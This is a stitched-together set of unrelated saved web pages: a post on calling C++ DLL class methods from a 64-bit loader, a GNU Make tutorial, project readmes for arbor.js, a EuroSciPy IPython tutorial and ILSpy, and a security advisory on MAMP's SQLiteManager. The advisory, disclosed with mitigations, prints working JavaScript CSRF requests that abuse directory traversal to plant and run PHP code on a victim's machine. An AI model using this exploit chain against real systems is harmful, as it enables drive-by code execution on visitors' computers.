disassembly for a legitimate call on 64 bit to new\(\) and the constructor in
the demo above we see the following \(our comments in blue text\):

[code]

      000000013FF71000 sub   rsp,38h    
      000000013FF71004 mov   qword ptr [rsp+20h],0FFFFFFFFFFFFFFFEh    
        CDLLCPP *cppDLL = new CDLLCPP();   
      000000013FF7100D mov   ecx,1  
      000000013FF71012 call  qword ptr [__imp_operator new (13FF72148h)]    
      // Microsoft x64 calling convention says the ret comes back in RAX (pointer)  
      000000013FF71018 mov   qword ptr [rsp+50h],rax    
      000000013FF7101D test  rax,rax    
      000000013FF71020 je   wmain+2Ch (13FF7102Ch)    
      // The first argument - the pointer to the object - is passed in RCX - to the constructor  
      000000013FF71022 mov   rcx,rax    
      000000013FF71025 call  qword ptr [__imp_CDLLCPP::CDLLCPP (13FF72008h)]    
      000000013FF7102B nop    
        cppDLL->SuperSecretSauce("Hello");   
      000000013FF7102C lea   rdx,[string "Hello" (13FF721D0h)]    
      // Again passing a pointer to the object in RCX from the original RAX result from new  
      000000013FF71033 mov   rcx,rax    
      000000013FF71036 call  qword ptr [__imp_CDLLCPP::SuperSecretSauce (13FF72000h)]   
    
[/code]

Also there was a likely hint in the dumpbin out \(in red text\):  

[code]

       // The constructor  
       1  0 00001010 public: __cdecl CDLLCPP::CDLLCPP(void) __ptr64  
       // The deconstructor  
       2  1 00001020 public: __cdecl CDLLCPP::~CDLLCPP(void) __ptr64  
       // The class  
       3  2 00001000 public: class CDLLCPP & __ptr64 __cdecl CDLLCPP::operator=(class CDLLCPP const & __ptr64) __ptr64  
       // The SuperSecretSauce Method  
       4  3 00001030 public: int __cdecl CDLLCPP::SuperSecretSauce(char * __ptr64) __ptr64  
    
[/code]

All of the exports, after the function definition, listed an extra 64bit
pointer. While we don't know for sure \(as the output of undname isn't fully
documented\), but we think this is likely an indicator of the need to pass the
object pointer. So the reason for the crash was that there was no pointer to
an object being passed to the constructor or the SuperSecretSauce method. The
way we solved this problem was to supply an extra parameter at the start to
the function typedef for any method in that class. This would ensure that the
pointer to our object is passed in the RCX register \(note: there is only one
calling convention on Windows 64bit\):

12| `typedef` `void` `(__cdecl* _ExampleConstruct)(``char` `*); `` ``typedef`
`void` `(__cdecl* _ExampleSecretSauce)(``char` `*, ``char` `*); `  
---|---  
We then allocate a block of memory big enough to hold it \(an exercise for the
reader to work out how large it needs to be\), memset and pass it to the
constructor and other methods.  

1234| `char` `vFakeObject[4096]; `` ``memset``(vFakeObject,0x00,4096); ``
``OurImportedConstructor(vFakeObject); ``
``OurImportedSecretSauce(vFakeObject,``"Hello Secret Sauce"``); `  
---|---  
So we end up with code that looks like this:  

12345678910111213141516171819202122232425262728293031| `#include "stdafx.h" ``
``#include <Windows.h> `` ``#include <strsafe.h> `` ``#include <Dbghelp.h> ``
``typedef` `void` `(__cdecl* _ExampleConstruct)(``char` `*); `` ``typedef`
`void` `(__cdecl* _ExampleSecretSauce)(``char` `*, ``char` `*); `` ``int`
`_tmain(``int` `argc, _TCHAR* argv[]) `` ``{ `` ``fprintf``(stdout,``"[i] Recx
- C++ class DLL example\n"``); `` ``HMODULE` `modDLL =
LoadLibrary(L``".\\DLLCPP.dll"``); `` ``if` `(modDLL==NULL) `` ``{ ``
``fprintf``(stderr,``"[!] Could not load .\\DLLCPP.dll"``); `` ``return` `1;
`` ``} `` ``_ExampleConstruct OurImportedConstructor =
(_ExampleConstruct)GetProcAddress(modDLL,``"??0CDLLCPP@@QEAA@XZ"``); ``
``if``(OurImportedConstructor==NULL){ `` ``fprintf``(stderr,``"[!] Could not
get address of the constructor"``); `` ``return` `1; `` ``} ``
``_ExampleSecretSauce OurImportedSecretSauce =
(_ExampleSecretSauce)GetProcAddress(modDLL,``"?SuperSecretSauce@CDLLCPP@@QEAAHPEAD@Z"``);
`` ``if``(OurImportedSecretSauce==NULL){ `` ``fprintf``(stderr,``"[!] Could
not get address of the secret sauce method"``); `` ``return` `1; `` ``} ``
``char` `vFakeObject[4096]; `` ``memset``(vFakeObject,0x00,4096); ``
``OurImportedConstructor(vFakeObject); ``
``OurImportedSecretSauce(vFakeObject,``"Hello Secret Sauce"``); `` ``return`
`0; `` ``} `  
---|---  
And... drum role... voilà:  

> \[i\] Recx - C++ class DLL example  
>  \[\!\] You sent the secret sauce Hello Secret Sauce
Hopefully this will save you an hour or two of reading plus trial and error.
All of the code for the above examples can be downloaded from here. The
projects included in the download archive are:

  * DLLCPP - The C++ DLL.
  * LoaderAttempt1 - the example where we don't call the constructor.
  * LoaderAttempt2 - the example where we don't pass an object.
  * Loader - the working example.

The project as-is will only work for the 64bit build as the undecorated
function names will need changing for the 32bit version of the DLL.

# GNU Make in Detail for Beginners - LINUX For You

**Created:**| _7/3/2012 9:59:03 PM_  
---|---  
**Updated:**| _7/3/2012 9:59:03 PM_  
**Author:**| __  
**Tags:**| _Tutorials programming build_  
  

# GNU Make in Detail for Beginners

By Sarath Lakshman on June 9, 2012 in Developers, How-Tos, Tools / Apps · 5
Comments and 103 Reactions

<img src='img/Temp2_3378.jpg' width='590' height='295' alt='GNU Make in Detail
for Beginners' />

Have you ever peeked into the source code of any of the applications you run
every day? Ever used _make install_ to install some application? You will see
make in most projects. It enables developers to easily compile large and
complex programs with many components. It’s also used for writing maintenance
scripts based on timestamps. This article shows you how to have fun with make.

Large projects can contain thousands of lines of code, distributed in multiple
source files, written by many developers and arranged in several
subdirectories. A project may contain several component divisions. These
components may have complex inter-dependencies — for example, in order to
compile component X, you have to first compile Y; in order to compile Y, you
have to first compile Z; and so on. For a large project, when a few changes
are made to the source, manually recompiling the entire project each time is
tedious, error-prone and time-consuming.

Make is a solution to these problems. It can be used to specify dependencies
between components, so that it will compile components in the order required
to satisfy dependencies. An important feature is that when a project is
recompiled after a few changes, it will recompile only the files which are
changed, and any components that are dependent on it. This saves a lot of
time. Make is, therefore, an essential tool for a large software project.

Each project needs a Makefile — a script that describes the project structure,
namely, the source code files, the dependencies between them, compiler
arguments, and how to produce the target output \(normally, one or more
executables\). Whenever the make command is executed, the Makefile in the
current working directory is interpreted, and the instructions executed to
produce the target outputs. The Makefile contains a collection of rules,
macros, variable assignments, etc. \(‘Makefile’ or ‘makefile’ are both
acceptable.\)

## Installing GNU Make

Most distributions don’t ship make as part of the default installation. You
have to install it, either using the package-management system, or by manually
compiling from source. To compile and build from source, download the tarball,
extract it, and go through the README file. \(If you’re running Ubuntu, you
can install make as well as some other common packages required for building
from source, by running: `sudo apt-get install build-essential`.\)

## A sample project

To acquaint ourselves with the basics of make, let’s use a simple C “Hello
world” project, and a Makefile that handles building of the target binary. We
have three files \(below\): `module.h`, the header file that contains the
declarations; `module.c`, which contains the definition of the function
defined in `module.h`; and the main file, `main.c`, in which we call the
`sample_func()` defined in `module.c`. Since `module.h` includes the required
header files like `stdio.h`, we don’t need to include `stdio.h` in every
module; instead, we just include `module.h`. Here, `module.c` and `main.c` can
be compiled as separate object modules, and can be linked by GCC to obtain the
target binary.

**module.h:**

`#include <stdio.h>``void` `sample_func();`  
---  
**module.c:**

`#include "module.h"``void` `sample_func()``{`` ``printf``(``"Hello
world!"``);``}`  
---  
**main.c:**

`#include "module.h"``void` `sample_func();``int` `main()``{``
``sample_func();`` ``return` `0;``}`  
---  
The following are the manual steps to compile the project and produce the
target binary:

`slynux@freedom:~$ gcc -I . -c main.c # Obtain main.o``slynux@freedom:~$ gcc
-I . -c module.c # Obtain module.o``slynux@freedom:~$ gcc main.o module.o -o
target_bin #Obtain target binary`  
---  
\(`-I` is used to include the current directory \(`.`\) as a header file
location.\)

### Writing a Makefile from scratch

By convention, all variable names used in a Makefile are in upper-case. A
common variable assignment in a Makefile is `CC = gcc`, which can then be used
later on as `${CC}` or `$(CC)`. Makefiles use `#` as the comment-start marker,
just like in shell scripts.

The general syntax of a Makefile rule is as follows:

`target: dependency1 dependency2 ...``[TAB] action1``[TAB] action2`` ``...`  
---  
Let’s take a look at a simple Makefile for our sample project:

`all: main.o module.o`` ``gcc main.o module.o -o target_bin``main.o: main.c
module.h`` ``gcc -I . -c main.c``module.o: module.c module.h`` ``gcc -I . -c
module.c``clean:`` ``rm -rf *.o`` ``rm target_bin`  
---  
We have four targets in the Makefile:

  * `all` is a special target that depends on `main.o` and `module.o`, and has the command \(from the “manual” steps earlier\) to make GCC link the two object files into the final executable binary.
  * `main.o` is a filename target that depends on `main.c` and `module.h`, and has the command to compile `main.c` to produce `main.o`.
  * `module.o` is a filename target that depends on `module.c` and `module.h`; it calls GCC to compile the `module.c` file to produce `module.o`.
  * `clean` is a special target that has no dependencies, but specifies the commands to clean the compilation outputs from the project directories.

You may be wondering why the order of the make targets and commands in the
Makefile are not the same as that of the manual compilation commands we ran
earlier. The reason is so that the easiest invocation, by just calling the
make command, will result in the most commonly desired output — the final
executable. How does this work?

The make command accepts a target parameter \(one of those defined in the
Makefile\), so the generic command line syntax is `make <target>`. However,
make also works if you do not specify any target on the command line, saving
you a little typing; in such a case, it defaults to the first target defined
in the Makefile. In our Makefile, that is the target `all`, which results in
the creation of the desired executable binary `target_bin`\!

### Makefile processing, in general

When the make command is executed, it looks for a file named `makefile` or
`Makefile` in the current directory. It parses the found `Makefile`, and
constructs a dependency tree. Based on the desired make target specified \(or
implied\) on the command-line, make checks if the dependency files of that
target exist. And \(for filename targets — explained below\) if they exist,
whether they are newer than the target itself, by comparing file timestamps.

Before executing the action \(commands\) corresponding to the desired target,
its dependencies must be met; when they are not met, the targets corresponding
to the unmet dependencies are executed before the given make target, to supply
the missing dependencies.

When a target is a filename, make compares the timestamps of the target file
and its dependency files. If the dependency filename is another target in the
Makefile, make then checks the timestamps of that target’s dependencies. It
thus winds up recursively checking all the way down the dependency tree, to
the source code files, to see if any of the files in the dependency tree are
newer than their target filenames. \(Of course, if the dependency files don’t
exist, then make knows it must start executing the make targets from the
“lowest” point in the dependency tree, to create them.\)

If make finds that files in the dependency tree are newer than their target,
then all the targets in the affected branch of the tree are executed, starting
from the “lowest”, to update the dependency files. When make finally returns
from its recursive checking of the tree, it completes the final comparison for
the desired make target. If the dependency files are newer than the target
\(which is usually the case\), it runs the command\(s\) for the desired make
target.

This process is how make saves time, by executing only commands that need to
be executed, based on which of the source files \(listed as dependencies\)
have been updated, and have a newer timestamp than their target.

Now, when a target is not a filename \(like all and clean in our Makefile,
which we called “special targets”\), make obviously cannot compare timestamps
to check whether the target’s dependencies are newer. Therefore, such a target
is always executed, if specified \(or implied\) on the command line.

For the execution of each target, make prints the actions while executing
them. Note that each of the actions \(shell commands written on a line\) are
executed in a separate sub-shell. If an action changes the shell environment,
such a change is restricted to the sub-shell for that action line only. For
example, if one action line contains a command like `cd newdir`, the current
directory will be changed only for that line/action; for the next line/action,
the current directory will be unchanged.

### Processing our Makefile

After understanding how make processes Makefiles, let’s run make on our own
Makefile, and see how it is processed to illustrate how it works. In the
project directory, we run the following command:

`slynux@freedom:~$ make``gcc -I . -c main.c``gcc -I . -c module.c``gcc main.o
module.o -o target_bin`  
---  
What has happened here?

When we ran make without specifying a target on the command line, it defaulted
to the first target in our Makefile — that is, the target `all`. This target’s
dependencies are `module.o` and `main.o`. Since these files do not exist on
our first run of make for this project, make notes that it must execute the
targets `main.o` and `module.o`. These targets, in turn, produce the `main.o`
and `module.o` files by executing the corresponding actions/commands. Finally,
make executes the command for the target `all`. Thus, we obtain our desired
output, `target_bin`.

If we immediately run make again, without changing any of the source files, we
will see that only the command for the target `all` is executed:

`slynux@freedom:~$ make``gcc main.o module.o -o target_bin`  
---  
Though make checked the dependency tree, neither of the dependency targets
\(`module.o` and `main.o`\) had their own dependency files bearing a later
timestamp than the dependency target filename. Therefore, make rightly did not
execute the commands for the dependency targets. As we mentioned earlier,
since the target `all` is not a filename, make cannot compare file timestamps,
and thus executes the action/command for this target.

Now, we update `module.c` by adding a statement `printf("\nfirst update");`
inside the `sample_func()` function. We then run make again:

`slynux@freedom:~$ make``gcc -I . -c module.c``gcc main.o module.o -o
target_bin`  
---  
Since `module.c` in the dependency tree has changed \(it now has a later
timestamp than its target, `module.o`\), make runs the action for the
`module.o` target, which recompiles the changed source file. It then runs the
action for the all target.

We can explicitly invoke the `clean` target to clean up all the generated `.o`
files and `target_bin`:

`$ make clean``rm -rf *.o``rm target_bin`  
---  
## More bytes on Makefiles

Make provides many interesting features that we can use in Makefiles. Let’s
look at the most essential ones.

### Dealing with assignments

There are different ways of assigning variables in a Makefile. They are \(type
of assignment, followed by the operator in parentheses\):

#### Simple assignment \(:=\)

We can assign values \(RHS\) to variables \(LHS\) with this operator, for
example: `CC := gcc`. With simple assignment \(`:=`\), the value is expanded
and stored to all occurrences in the Makefile when its first definition is
found.

For example, when a `CC := ${GCC} ${FLAGS}` simple definition is first
encountered, `CC` is set to `gcc -W` and wherever `${CC}` occurs in actions,
it is replaced with `gcc -W`.

#### Recursive assignment \(=\)

Recursive assignment \(the operator used is `=`\) involves variables and
values that are not evaluated immediately on encountering their definition,
but are re-evaluated every time they are encountered in an action that is
being executed. As an example, say we have:

`GCC = gcc``FLAGS = -W`  
---  
With the above lines, `CC = ${GCC} {FLAGS}` will be converted to `gcc -W` only
when an action like `${CC} file.c` is executed somewhere in the Makefile. With
recursive assignation, if the GCC variable is changed later \(for example,
`GCC = c++`\), then when it is next encountered in an action line that is
being updated, it will be re-evaluated, and the new value will be used;
`${CC}` will now expand to `c++ -W`.

We will also have an interesting and useful application further in the
article, where this feature is used to deal with varying cases of filename
extensions of image files.

#### Conditional assignment \(?=\)

Conditional assignment statements assign the given value to the variable only
if the variable does not yet have a value.

#### Appending \(+=\)

The appending operation appends texts to an existing variable. For example:

`CC = gcc``CC += -W`  
---  
`CC` now holds the value `gcc -W`.

Though variable assignments can occur in any part of the Makefile, on a new
line, most variable declarations are found at the beginning of the Makefile.

### Using patterns and special variables

The `%` character can be used for wildcard pattern-matching, to provide
generic targets. For example:

`%.o: %.c``[TAB] actions`  
---  
When `%` appears in the dependency list, it is replaced with the same string
that was used to perform substitution in the target.

Inside actions, we can use special variables for matching filenames. Some of
them are:

  * `$@` \(full target name of the current target\)
  * `$?` \(returns the dependencies that are newer than the current target\)
  * `$*` \(returns the text that corresponds to `%` in the target\)
  * `$<` \(name of the first dependency\)
  * `$^` \(name of all the dependencies with space as the delimiter\)

Instead of writing each of the file names in the actions and the target, we
can use shorthand notations based on the above, to write more generic
Makefiles.

### Action modifiers

We can change the behaviour of the actions we use by prefixing certain action
modifiers to the actions. Two important action modifiers are:

  * `-` \(minus\) — Prefixing this to any action causes any error that occurs while executing the action to be ignored. By default, execution of a Makefile stops when any command returns a non-zero \(error\) value. If an error occurs, a message is printed, with the status code of the command, and noting that the error has been ignored. Looking at the Makefile from our sample project: in the clean target, the `rm target_bin` command will produce an error if that file does not exist \(this could happen if the project had never been compiled, or if `make clean` is run twice consecutively\). To handle this, we can prefix the `rm` command with a minus, to ignore errors: `-rm target_bin`.
  * `@` \(at\) suppresses the standard print-action-to-standard-output behaviour of make, for the action/command that is prefixed with `@`. For example, to echo a custom message to standard output, we want only the output of the echo command, and don’t want to print the echo command line itself. `@echo Message` will print “Message” without the echo command line being printed.

### Use PHONY to avoid file-target name conflicts

Remember the `all` and `clean` special targets in our Makefile? What happens
when the project directory has files with the names `all` or `clean`? The
conflicts will cause errors. Use the `.PHONY` directive to specify which
targets are not to be treated as files — for example: `.PHONY: all clean`.

### Simulating make without actual execution

At times, maybe when developing the Makefile, we may want to trace the make
execution \(and view the logged messages\) without actually running the
actions, which is time consuming. Simply use `make -n` to do a “dry run”.

### Using the shell command output in a variable

Sometimes we need to use the output from one command/action in other places in
the Makefile — for example, checking versions/locations of installed
libraries, or other files required for compilation. We can obtain the shell
output using the shell command. For example, to return a list of files in the
current directory into a variable, we would run: `LS_OUT = $(shell ls)`.

### Nested Makefiles

Nested Makefiles \(which are Makefiles in one or more subdirectories that are
also executed by running the make command in the parent directory\) can be
useful for building smaller projects as part of a larger project. To do this,
we set up a target whose action changes directory to the subdirectory, and
invokes make again:

`subtargets:`` ``cd subdirectory && $(MAKE)`  
---  
Instead of running the make command, we used `$(MAKE)`, an environment
variable, to provide flexibility to include arguments. For example, if you
were doing a “dry run” invocation: if we used the make command directly for
the subdirectory, the simulation option \(`-n`\) would not be passed, and the
commands in the subdirectory’s Makefile would actually be executed. To enable
use of the `-n` argument, use the `$(MAKE)` variable.

Now let’s improve our original Makefile using these advanced features:

`CC = gcc # Compiler to use``OPTIONS = -O2 -g -Wall # -g for debug, -O2 for
optimise and -Wall additional messages``INCLUDES = -I . # Directory for header
file``OBJS = main.o module.o # List of objects to be build``.PHONY: all clean
# To declare all, clean are not files` `all: ${OBJS}`` ``@echo "Building.." #
To print "Building.." message`` ``${CC} ${OPTIONS} ${INCLUDES} ${OBJS} -o
target_bin ` `%.o: %.c # % pattern wildcard matching`` ``${CC} ${OPTIONS} -c
$*.c ${INCLUDES}``list:`` ``@echo $(shell ls) # To print output of command
'ls'` `clean:`` ``@echo "Cleaning up.."`` ``-rm -rf *.o # - prefix for
ignoring errors and continue execution`` ``-rm target_bin`  
---  
Run make on the modified Makefile and test it; also run make with the new list
target. Observe the output.

## Make in non-compilation contexts

I hope you’re now well informed about using make in a programming context.
However, it’s also useful in non-programming contexts, due to the basic
behaviour of checking the modification timestamps of target files and
dependencies, and running the specified actions when required. For example,
let’s write a Makefile that will manage an image store for us, doing
thumbnailing when required. Our scenario is as follows:

  * We have a directory with two subdirectories, `images` and `thumb`.
  * The `images` subdirectory contains many large image files; `thumb` contains thumbnails of the images, as `.jpg` files, 100x100px in image size.
  * When a new image is added to the images directory, creation of its thumbnail in the `thumb` directory should be automated. If an image is modified, its thumbnail should be updated.
  * The thumbnailing process should only be done for new or updated images, and not images that have up-to-date thumbnails.

This problem can be solved easily by creating a Makefile in the top-level
directory, as follows:

`FILES = $(shell find images -type f -iname "*.jpg" | sed 's/images/thumb/g')``CONVERT_CMD = convert -resize "100x100" $< $@``MSG = @echo "\nUpdating thumbnail" $@` `all: ${FILES}``thumb/%.jpg: images/%.jpg`` ``$(MSG)`` ``$(CONVERT_CMD)``thumb/%.JPG: images/%.JPG`` ``$(MSG)`` ``$(CONVERT_CMD)``clean:`` ``@echo Cleaning up files..`` ``rm -rf thumb/*.jpg thumb/*.JPG`  
---  
In the above Makefile, `FILES = $(shell find images -type f -iname "*.jpg" | sed 's/images/thumb/g')` is used to generate a list of dependency filenames. JPEG files could have the extension `.jpg` or `.JPG` \(that is, differing in case\). The `-iname` parameter to find \(`find images -type f -iname "*.jpg"`\) will do a case-insensitive search on the names of files, and will return files with both lower-case and upper-case extensions — for example, `images/1.jpg`, `images/2.jpg`, `images/3.JPG` and so on. The `sed` command replaces the text “images” with “thumb”, to get the dependency file path.
When make is invoked, the all target is executed first. Since FILES contains a
list of thumbnail files for which to check the timestamp \(or if they exist\),
make jumps down to the `thumb/%.jpg` wildcard target for each thumbnail image
file name. \(If the extension is upper-case, that is, `thumb/3.JPG`, then make
will look for, and find, the second wildcard target, `thumb/%.JPG`.\)

For each thumbnail file in the `thumb` directory, its dependency is the image
file in the `images` directory. Hence, if any file \(that’s expected to be\)
in the `thumb` directory does not exist, or its timestamp is older than the
dependency file in the `images` directory, the action \(calling
`$(CONVERT_CMD`\) to create a thumbnail\) is run.

Using the features we described earlier, `CONVERT_CMD` is defined before
targets are specified, but it uses recursive assignment. Hence, the input and
target filenames passed to the convert command are substituted from the first
dependency \(`$<`\) and the target \(`$@`\) every time the action is invoked,
and thus will work no matter from which action target \(`thumb/%.JPG` or
`thumb/%.jpg`\) the action is invoked.

Naturally, the “Updating thumbnail” message is also defined using recursive
assignment for the same reasons, ensuring that `$(MSG)` is re-evaluated every
time the actions are executed, and thereby able to cope with variations in the
case of the filename extension.

`slynux@freedom:~$ make``Updating thumbnail 1.jpg``convert -resize "100x100"
images/1.jpg thumb/1.jpg``… …Updating thumbnail 4.jpg``convert -resize
"100x100" images/4.jpg thumb/4.jpg`  
---  
If I edit `4.jpg` in images and rerun make, since only `4.jpg`‘s timestamp has
changed, a thumbnail is generated for that image:

`slynux@freedom:~$ make``Updating thumbnail 4.jpg``convert -resize "100x100"
images/4.jpg thumb/4.jpg`  
---  
Writing a script \(shell script or Python, etc\) to maintain image thumbnails
by monitoring timestamps would have taken many lines of code. With make, we
can do this in just 8 lines of Makefile. Isn’t make awesome?

That’s all about the basics of using the make utility. Happy hacking till we
meet again\!

_This article was originally published in September 2010 issue of the print
magazine._

##### Related Posts:

  * Device Drivers, Part 2: Writing Your First Linux Driver in the Classroom
  * make My Day\!
  * Dryrun: Decoupling the Process
  * Secure Upload Methods in PHP
  * Kernel Debugging Using Kprobe and Jprobe

Tags: Build Management, Compiler, dependencies, GCC, GNU Make, LFY September
2010, maintenance scripts, make, makefile, programming, project structure,
source code, target outputs

Article written by:

# samizdatco/arbor · GitHub

**Created:**| _5/2/2013 9:22:47 AM_  
---|---  
**Updated:**| _5/2/2013 9:22:47 AM_  
**Author:**| __  
**Tags:**| _papers visualization JavaScript_  
  

[code]

    arbor.js
    --------
    
    Arbor is a graph visualization library built with web workers and
    jQuery. Rather than trying to be an all-encompassing framework, arbor
    provides an efficient, force-directed layout algorithm plus
    abstractions for graph organization and screen refresh handling.
[/code]

# rossant/euroscipy2014 · GitHub

**Created:**| _8/24/2014 8:17:17 PM_  
---|---  
**Updated:**| _8/24/2014 8:17:17 PM_  
**Author:**| __  
**Tags:**| _python visualization_  
  

# EuroSciPy 2014 IPython Advanced Tutorial

  * **When?** August 27th, 9-10.30
  * **Where?** IfM, Cambridge University, UK
  * Chat room \(asking questions, requesting help, etc.\)

Introducing the interactive features of the IPython 2.0 Notebook.

> Most of the code examples come from the IPython Cookbook, Packt Publishing,
> featuring high-performance interactive computing methods for data science
> and mathematical modeling.
##  Requirements

Simpler option is to install Anaconda.

  * Python 2.7 or Python >= 3.3
  * IPython >= 2.0
  * NumPy
  * matplotlib
  * scikit-learn \(part 2\)
  * mpld3 \(part 3, ` ``pip install mpld3`\)
  * networkX \(part 3, ` ``pip install networkx`\)
  * a recent browser: 
    * Chrome >= 13
    * Safari >= 5
    * Firefox >= 6

##  Installation

[code]

    normalgit clone https://github.com/rossant/euroscipy2014.git
    cd euroscipy2014
    ipython notebook --profile=euroscipy2014
    
[/code]

##  Contents

In this tutorial, we illustrate different features and APIs for creating
interactive widgets and visualizations in the IPython notebook.

###  1\. **Calling your Python functions with graphical controls**

We show how to use the ` ``@interact` decorator to create simple GUI
controlling Python functions in real time.

<img
src='https://github.com/rossant/euroscipy2014/raw/master/screenshots/screen1.png'
alt='Part 1' />

###  2\. **Creating a GUI in the notebook**

Elaborating on the previous example, we show how to create a more complex GUI
with custom positioning, styling, and logic. The entire GUI is implemented in
Python: there is no JavaScript code to write at this point.

<img
src='https://github.com/rossant/euroscipy2014/raw/master/screenshots/screen2.png'
alt='Part 2' />

###  3\. **Interactive data visualization in the notebook**

In this part, we explore several interactive data visualization solutions in
the notebook, mostly based on the **d3.js** JavaScript library. We first show
how to easily make matplotlib figures interactive in the notebook with
**mpld3**.

Then, we introduce the _very_ basics of d3.js, and we show how to render a
networkX graph dynamically in the notebook. There is some JavaScript code to
write here.

<img
src='https://github.com/rossant/euroscipy2014/raw/master/screenshots/screen3.png'
alt='Part 3' />

###  4\. **Creating a custom notebook widget with backbone.js**

In this last part, we create an entirely custom widget with HTML, JavaScript,
and backbone.js. We show how custom widgets can be designed to play well with
the rest of the widget machinery.

<img
src='https://github.com/rossant/euroscipy2014/raw/master/screenshots/screen4.png'
alt='Part 3' />

##  Further reading

  * Documentation of the IPython widgets
  * IPython in depth
  * IPython Cookbook

# Drive-by remote code execution by MAMP - ITsec Security Services B.V.

**Created:**| _6/29/2017 3:53:05 PM_  
---|---  
**Updated:**| _6/29/2017 3:53:05 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Drive-by remote code execution by MAMP

2017-06-26

**MAMP is an Apache, MySQL, and PHP stack for Mac OS X. It comes with
SQLiteManager, which has several vulnerabilities. This post describes how to
exploit these vulnerabilities to execute code when a user of MAMP visits a
malicious website.**

<img src='img/Temp2_2448.jpg' width='576' height='385' alt='Elephant_MAMP' />

Juni 26, 2017

## MAMP

MAMP is a web stack that can be installed on Mac OS X. It is typically used by
web developers to test the web applications they are working on. It installs
the Apache web server, which runs on port 8888 by default. Also included are
some database management programs, such as phpMyAdmin and SQLiteManager.

## SQLiteManager

SQLiteManager is a tool like phpMyAdmin for SQLite databases. It can create
new databases, add tables to databases and run SQL queries on them. It has not
been updated since 2013 and contains some known vulnerabilities.

## Directory traversal

SQLiteManager can create new databases. An SQLite database is contained in a
single file, and when creating the database it is possible to supply the
filename for the new database. This file is then created in the directory
/Applications/MAMP/db/sqlite. However, by adding ../ to the filename we can
place the database one directory higher.

We can also use this to get a file containing PHP code in the web root. By
supplying a file name like ../../htdocs/script.php, we can place a file
script.php in the web root. Then, using SQLiteManager, we create a table and
add a row containing our PHP code. The file script.php will be a valid SQLite
database file, containing PHP code that is run when the file is accessed.

<img src='img/Temp2_2451.jpg' width='576' height='330' alt='SQLitemanager1' />

<img src='img/Temp2_2450.jpg' width='576' height='330' alt='SQLiteManager' />

<img src='img/Temp2_2452.jpg' width='576' height='330' alt='Foto bij Remote
code execution MAMP' />

## CSRF

The SQLiteManager running on localhost cannot be accessed directly by an
attacker. However, the attacker can “forge” requests if he can run Javascript
in the browser. If you visit the attacker’s web site he can perform the
requests from within the browser, on the same computer that MAMP is installed
on. These requests  _can_ access the SQLiteManager running on localhost. This
method of bouncing requests through the victims browser is called cross site
request forgery, or CSRF.

SQLiteManager does not have any CSRF protection, so the directory traversal
mentioned above can also be executed using CSRF. We can issue POST requests
using Javascript to create the database and add data to it, and then issue a
request to the resulting file. This makes it possible to run code on a victim
that has MAMP installed and enabled when the victim visits a malicious site.

For example, the following Javascript issues a request that creates a
database:

_let formData = new FormData\(\);formData.append\(“dbname”,
“somename”\);formData.append\(“dbVersion”, 3\);formData.append\(“dbpath”,
“../../htdocs/script.php”\);formData.append\(“action”,
“saveDb”\);fetch\(“http://localhost:8888/sqlitemanager/main.php”, \{ method:
“POST”, body: formData\}\);_

After creating a table, we insert a payload:

_let payload = “ <?php \`osascript -e ‘tell application \(path to frontmost
application as text\) to display dialog \”Remote code execution on MAMP\” with
icon stop’\`; ?>”;let formData = new
FormData\(\);formData.append\(“funcs\[test\]”,
“”\);formData.append\(“valField\[test\]”, payload\);formData.append\(“action”,
“saveElement”\);formData.append\(“currentPage”,
“”\);formData.append\(“after\_save”, “properties”\);return
fetch\(“http://localhost:8888/sqlitemanager/main.php?dbsel=1&table=test”, \{
method: “POST”, body: formData\}\).catch\(e => e\);_

The dbsel number is the number corresponding to the database we just created.
Although we don’t know this, we can just try all numbers between 0 and 50 and
hope that we hit the correct one.

When we trigger a request to the file, the execution of the osascript command
shows the popup:

<img src='img/Temp2_2449.jpg' width='532' height='232'
alt='Remote_code_execution_MAMP' />

## Conclusion

By combining CSRF and directory traversal we can trigger remote code
execution, if the victim just visits a website with malicious Javascript.

An immediate solution to this would be to disable SQLiteManager. MAMP users
can do this themselves by editing /Applications/MAMP/conf/apache/httpd.conf.
Unless someone takes over the maintenance for SQLiteManager, it is unlikely
that the vulnerabilities get fixed. MAMP already has an alternative manager
for SQLite available: phpLiteAdmin.

A broader solution is to disallow requests from the public Internet to private
RFC1918 IP addresses. There is currently a proposal to refuse such requests by
default, and to create a new CORS headers to explicitly allow it.

For more information, please feel free to contact us\!

  

# ILSpy - SharpDevelop Wiki

**Created:**| _4/21/2011 10:29:23 AM_  
---|---  
**Updated:**| _4/21/2011 10:29:23 AM_  
**Author:**| __  
**Tags:**| _bookmark Decompiler .Net awesome_  
  

# ILSpy

Print

RSS

Modified on 2011/03/13 23:16  by DavidSrbecky Categorized as ILSpy

» **ILSpy**

ILSpy is the open-source .NET assembly browser and decompiler.  
  
Development started after Red Gate announced that the free version of .NET
Reflector would cease to exist by end of February 2011.  
  

## ILSpy Features¶

  * Assembly browsing
  * IL Disassembly
  * Decompilation to C\#
    * Supports lambdas and 'yield return'
  * Saving of resources
  * Search for types/methods/properties \(substring\)
  * Hyperlink-based type/method/property navigation
  * Base/Derived types navigation
  * Navigation history
  * BAML to XAML decompiler
  * Save Assembly as C\# Project
  * Find usage of field/method
  * Extensibile via plugins \(MEF\)  

  

## ILSpy Roadmap¶

  * Improve the decompiler
    * Add support for object initializers
  * Assembly Lists
  * Improve search performance
  * Debugger
  * Bookmarks
  * Find usage of type/property/event  

  
  
  

## Latest Binaries for ILSpy¶

Build Server: http://build.sharpdevelop.net/BuildArtefacts/\#ILSpy  
  

## Release History¶

Want to know when major new features are added? When a new stable version is
released?  
  
Follow us on Twitter\!  
  

  * 2/24/2011 M1 \(Milestone 1\) Release announcement
  * 2/16/2011 First Preview announcement
  * 2/4/2011 Development Starts \(github repository created\)  

  

## Discussion Forum¶

http://community.sharpdevelop.net/forums/69.aspx  
  
Please use the forum to discuss issues, feature ideas, et cetera. For bug
reporting, either use the forum or if you have a GitHub account, add them
directly to https://github.com/icsharpcode/ILSpy/issues  
  

## Blog Posts on ILSpy Development¶

  * Daniel Grunwald's blog
  * David Srbecky's blog  

  

## ILSpy Source Code¶

See https://github.com/icsharpcode/ILSpy  
  

## Screencasts, Demo & How To Videos¶

  * Overview of features in ILSpy Build 296 Resolution: 720p  

  

## Screenshots¶

Viewing IL \(Build 199\) <img src='img/Temp2_4228.jpg' alt='Image' />  
---  
  
Navigating Types \(Build 199\) <img src='img/Temp2_4232.jpg' alt='Image' />  
---  
  
Saving Resources \(Build 199\) <img src='img/Temp2_4231.jpg' alt='Image' />  
---  
  
Decompiling a Type to C\# \(Build 199\) <img src='img/Temp2_4230.jpg'
